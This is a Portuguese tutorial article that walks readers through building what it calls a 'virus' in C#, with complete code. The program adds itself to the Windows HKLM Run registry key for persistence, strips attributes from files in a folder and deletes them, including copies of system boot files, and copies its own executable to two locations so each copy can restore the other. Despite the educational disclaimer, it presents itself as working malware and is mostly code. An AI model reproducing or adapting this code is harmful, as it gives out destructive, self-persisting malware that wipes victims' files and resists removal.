Criando um vírus em C#
O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos.
O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos. Aconselho que utilizem uma máquina virtual para executar o programa ou algum programa que retorne o S.O ao estado anterior, como o Deep Freeze e Norton Goback. Caso queira utilizar em seu próprio S.O, uso o programa apenas para deletar arquivos sem importância.
Bom, primeiramente o objetivo desse programa é deletar arquivos temporários do Windows como cokies e arquivos recentes, mas que também pode ser utilizado como um vírus.
Vamos começar, no Windows vá em c:\ e clique na guia ferramentas, opções de pasta, depois em modo de exibição, desmarque “Ocultar arquivos protegidos do sistema operacional”, ”Ocultar as extensões dos tipos de arquivos conhecidos” e “Mostrar pastas e arquivos ocultos”.
Agora copie os arquivos NEDECT.COM e ntldr, apenas copie, não recorte, estes arquivos são necessários para a inicialização do Windows, estou utilizando os dois apenas como exemplo, poderia ser qualquer outro arquivo do sistema.
Agora crie uma pasta chamada “para_deletar” no Desktop, entre nela e cole os arquivos NEDECT.COM e ntldr, depois crie ou copie e cole mais arquivos sem importância dentro desta pasta.
Inicie um projeto novo no C# do tipo Windows Application.
Crie um Form com 2 botões, no meu caso coloquei o nome de “Método 1” e “Método 2“
No código do botão método 1 coloque, o código abaixo antes do private void button1_Click(object sender, EventArgs e):
private void Reg_ini_win(string Exe_nome, bool habilitar, string caminho)
{
string chave = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
Microsoft.Win32.RegistryKey chave_ini = Microsoft.Win32.Registry
.LocalMachine.OpenSubKey(chave);
if (habilitar) //se habilitar for igual a 'True' então:
{
if (chave_ini.GetValue(Exe_nome) == null)
// verifica se o registro de seu executável não xiste
{
chave_ini.Close();
chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
// Adiciona chave de inicialização, (faz com que seu executável inicie junto com
// o windows)
chave_ini.SetValue(Exe_nome, caminho);
chave_ini.Close();
}
}
else // se hbilitar for igual a 'False'
{
// Remove chave de inicialização
chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
chave_ini.DeleteValue(Exe_nome, false);
chave_ini.Close();
}
}
Agora dentro do private void button1_Click(object sender, EventArgs e), coloque o seguinte código:
Reg_ini_win("Gs_Virus", true,
Environment.GetFolderPath(Environment.SpecialFolder.Desktop) +
@"\DEL_TUDO_ARTIGO.exe");
Reg_ini_win("Gs_Virus_Copia", true,Environment
.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
@"\DEL_TUDO_ARTIGO_COPY.exe");
// Reg_ini_win é uma rotina que cria uma chave de registro para que o
executavel inicie junto com o windows
// Os parâmetros são: o nome de seu executavel,
true para adicionar ou false para remover o registro, o caminho onde ele se encontra
// o executável, neste caso ustilizei o
Environment.GetFolderPath(Environment.SpecialFolder.Desktop) uma função que será utilizada
// novamente no decorrer so artigo e que serve para pegarmos
pastas padrões do Windows, também adicionei o + @"\DEL_TUDO_ARTIGO.exe"
// para especificar o nome de meu executável, criei dois registros
porque quero gerar uma cópia de meu excutável para que os dois
// iniciem junto com o Windows
string[] arq;
//a variavel arq é um vetor de 'n' posições
//arq = System.IO.Directory.GetFiles(@"C:\Documents and Settings\para_deletar", "*");
// Entre parênteses posso colocar qualquer caminho
existente no S.O, "*" significa tudo que está na pasta
arq = System.IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
+ @"\para_deletar", "*"); // "*" significa
tudo que está na pasta
// cada posição do vetor arq irá receber o nome de um arquivo
dentro da pasta para_deletar, que se encontra no Desktop
for (int i = 0; i < arq.Length; i++)
{
// o loop começa em 0 e vai até arq.lentgh, neste caso
// length refere-se ao numero de posições que meu
// vetor possui, arq é uma variável do tipo string
// então por isso utilizei o length
System.IO.FileInfo file = new System.IO.FileInfo(arq[i]);
// file é uma variavel do tipo FileInfo, que recebe informações
// de cada arquivo de arq[i], por exemplo, se o arquivo é do
// tipo leitura, oculto, sistema.
file.Attributes = System.IO.FileAttributes.Normal;
// agora todos os atributos de cada arquivo de arq[i]
// são trocados para "normal", porque existem
// arquivos do sistema que podem ser deletados quando
// seus atributos são removidos
System.IO.File.Delete(arq[i]);
// por fim esse comando deleta o arquivo de arq[i]
}
string cp_exe;
string cp_exe2;
cp_exe = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) +
@"\DEL_TUDO_ARTIGO.exe";
cp_exe2 = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)+
@"\DEL_TUDO_ARTIGO_COPY.exe";
// Esta rotina faz o executavel se auto copiar, se ele não existir
// no caminho que você escolheu.
// Nesse casso ele fará uma copia para o "Desktop" e outra para o "Meus Documentos"
if (!System.IO.File.Exists(cp_exe2)) // pergunta se ele não existe em "Meus Documentos"
{
System.IO.File.Copy(Application.ExecutablePath, cp_exe2, true);
// Esse comando pega o caminho de meu executavel, e faz uma copia
// dele para a pasta "Meus Documentos".
// Caminho do executavel (Application.ExecutablePath)
// Para onde será copiado, com nome já renomeado (cp_exe2)
// true, para sobrescrever arquivo já existente
}
// As rotinas de copia são para o caso de um dos executáveis serem
// excluídos. Quando o programa for executado irá verificar se a cópia
// existe, caso não, então faz uma. O executável com o nome _COPY,
// faz o mesmo, se o original não existe, cria uma cópia
if (!System.IO.File.Exists(cp_exe)) // pergunta se ele não existe no "Desktop"
{
System.IO.File.Copy(Application.ExecutablePath , cp_exe, true);
// esse é o unico q funciona no windows, os outros funcionam só no c#
// Esse comando de copia é parecido com o anterior, mas nesse caso
// a cópia verifica se o executavel original não existe no desktop,
// se não existir ele é copiado dos "Meus Documentos" para o "Desktop"
}
Dica caso não queira ficar escrevendo System.IO, ou outros namespaces basta acrescentar o nome do namespace no início do programa na frente do using,como mostra a figura abaixo:
O próximo passo é colocarmos o código do botão “Método 2”, então dentro de private void button2_Click(object sender, EventArgs e), coloque o código abaixo:
string[] arq;
// Novamente utilizei o vetor arq para pegar todos os arquivos da pasta
"para_deletar" no Desktop
// o outro parâmetro "*" seleciona todos os arquivos
// o parâmetro SearchOption.AllDirectories, pega todas as pasta dentro
da pasta "para_deletar"
arq = System.IO.Directory.GetFiles
(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar\", "*",
SearchOption.AllDirectories);
foreach(string arquivos in arq)
{
// Mesma lógica do metodo 1, nesse caso
// se existirem outras pastas dentro da
// pasta "para_deletar", os arquivos que
// estiverem dentro serão deletados
// restando apenas as pastas vazias
// por isso o parâmetro
// SearchOption.AllDirectories
FileInfo file = new FileInfo(arquivos);
file.Attributes = FileAttributes.Normal;
System.IO.File.Delete(arquivos);
}
}
Veja o que ocorre dentro da vetor arq:
Neste artigo aprendemos a fazer um vírus básico, porém eficiente. O modo como utilizamos nossos conhecimentos em programação varia de pessoa para pessoa, neste caso, o artigo proporciona um ponto de vista didática, prejudicar o funcionamento correto do S.O de outras pessoas intencionalmente é lastimável.
Artigos relacionados
-
Artigo
-
Artigo
-
Artigo
-
Artigo
-
Artigo